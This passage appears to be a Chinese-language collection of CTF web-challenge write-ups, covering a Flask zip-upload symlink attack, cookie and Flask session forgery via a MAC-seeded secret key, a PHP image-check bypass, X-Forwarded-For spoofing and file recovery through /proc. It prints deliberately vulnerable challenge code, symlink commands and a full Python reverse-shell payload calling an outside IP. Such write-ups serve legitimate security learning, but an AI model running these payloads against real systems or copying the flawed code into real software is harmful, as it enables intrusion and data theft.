ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path + filename
#只能上传zip文件
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
#unzip命令用于解压zip文件
#-n 解压缩时不要覆盖原有的文件
#-d<目录> 指定文件解压缩后所要存储的目录。
#cmd是解压之后文件的内容
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
#直接执行cmd命令 解压该文件
os.system(cmd)
except Exception as e:
return 'error'
#zipfile.ZipFile 'r' 表示打开一个存在的只读zip文件,这里的filename参数就是我们上传的zip文件的路径
#只读的方式打开上传的zip文件
unzip_file = zipfile.ZipFile(pathname, 'r')
#unzip_file是之前打开的文件 .namelist()返回zip文件中的文件列表
#拿到zip文件里的第一个文件名赋值给unzip_filename
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
#过滤了'/'
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
#这里的逻辑应该是拿到zip文件中的第一个文件,读取该文件并返回
#正常情况下zip文件中是一个图片的话会正常返回
#软连接攻击
#创建一个./flag/flag.jpg的软连接 让下面代码引用并返回
#利用open()函数来打开我们创造的软链接,并返回flag.jpg的内容
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
软链接攻击
ln -s /proc/self/cwd/flag/flag.jpg 123
// flag.jpg再当前flask目录下的flag目录下,想要读取到flag.jpg,我们必须知道flask的运行目录在哪里
// /proc/self记录系统运行的信息,cwd记录当前进程运行目录的一个符号链接,/proc/self/cwd就记录了当前flask运行目录
// ln -s xxx 123 :将123作为指向xxx的软链接
zip -ry 123.zip 123
// zip -y : 直接保存符号连接,而非该连接所指向的文件。
2
3
4
5
6
7
将我们得到的zip文件上传,在bp中即可拿到flag
# Cookie Store
考点:
- session伪造
100块钱买flag,我们只有50块钱,看了一下cookie,直接base64解码改一下钱,然后再改一下cookie就可以了
# Avatar Uploader 1
考点:
- getimagesize()和finfo_file()的执行差异
题目直接给了源码,关键部分代码如下:
//upload.php
<?php
error_reporting(0);
require_once('config.php');
require_once('util.php');
require_once('session.php');
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}
// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}
// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}
// ok
$filename = bin2hex(random_bytes) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);
$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
上传一个图片,分别用finfo_file()和getimagesize()进行两次检测,第一层的finfo_file()检测文件的mime类型必须是image/png,第二层的imagesize()检测如果文件的后缀名不是png就会给出flag。
两次检测看似矛盾,但是可以利用两个函数的执行差异来进行绕过:
对于这种在十六进制查看器中的只有一行的PNG文件,使用finfo_file()函数会检测出mime类型为image/png,但是getimagesize()函数却无法检测其类型,本地测试如下:
上传该文件,拿到flag:

Tips:
- 这两个函数对于文件后缀名的检测都是基于文件十六进制内容的检测,所以一个正常的png文件单纯修改文件名是无法进行绕过的,本地测试如下:
可以看到,尽管修改之后的文件后缀名为jpg,但是经过函数处理之后的mime类型仍然是image/png。
# [CISCN2019 华东南赛区]Web4
考点:
- flask session伪造
- Linux系统知识
- 任意文件读取
- 伪随机数
进入题目,点击Read somethings:
看路由很像flask,并且存在url参数,可能造成任意文件读取,用local_file://协议读一下:
读取成功,另外在python3下local_file://协议可以省略,直接写文件名可以可以读取的。
读一下源码:
源码如下:
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
在flag路由下,只有session中的username = fuck,才可以得到flag,估计又是考flask的session伪造。
老套路,看一下有无泄漏secret_key:
- uuid.getnode():获取当前系统的MAC地址,返回值是十进制
以MAC地址作为随机数的种子,既然随机数的种子是固定的,那么生成的随机数也是有规律的,所以secret_key是可以得出来的。
- Linux的MAC地址存储位置:/sys/class/net/eth0/address
读一下MAC地址:
十六进制:02:42:ae:02:89:3c -> 0x0242ae02893c
对应十进制:2485410498876
写脚本来获取随机数(py2环境):

利用得到的随机数来解码session:
再伪造seesion:
改一下cookie,拿到flag:
# PYWebsite
考点:
- XFF头IP伪造
买flag发现要授权码,F12一下发现授权码是前端验证的,验证成功之后会跳转到./flag.php

那我们就手动跳转吧2333

记录了购买者和自己的IP,很明显的XFF头伪造题目了,直接伪造127.0.0.1就能拿到flag

# [V&N2020 公开赛]CHECKIN
考点:
- Linux恢复误删文件
- python反弹shell
**知识点:在Linux系统下,如果打开了一个文件没有关闭的话,即使将文件删除,也可以在/proc/[pid]/fd/
这个目录下看到该文件的内容。**其实,/proc/pid/fd/
这个目录包含了进程打开文件的文件描述符,这些描述符是指向实际文件的符号链接。具体可以参考这篇文章:Linux恢复误删除的文件或者目录
题目直接给了源码
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py", "r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
题目告诉我们flag在flag.txt
中,在/shell
路由下存在执行系统命令的功能,但是只会回显1
,并且每次进入该路由下都会将flag.txt删除。
但是题目是在没有将flag.txt
关闭的情况下直接删除的,结合我们在一开始就说的知识点,可以进行反弹shell,然后去/proc/[pid]/fd/
这个目录下找到flag.txt的符号链接,通过cat
该符号链接,就能得到flag.txt的内容。
用小号在BUUOJ的Basic分区开一台Linux主机,用ssh远程登录
ssh -p 28624 root@node3.buuoj.cn
查看ip地址并监听2333端口
在/shell
路由下反弹shell,由于是flask框架,考虑使用python反弹shell,payload如下:
/shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.2.189.144',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
反弹shell成功
在/prco/[pid]/fd/
目录下寻找flag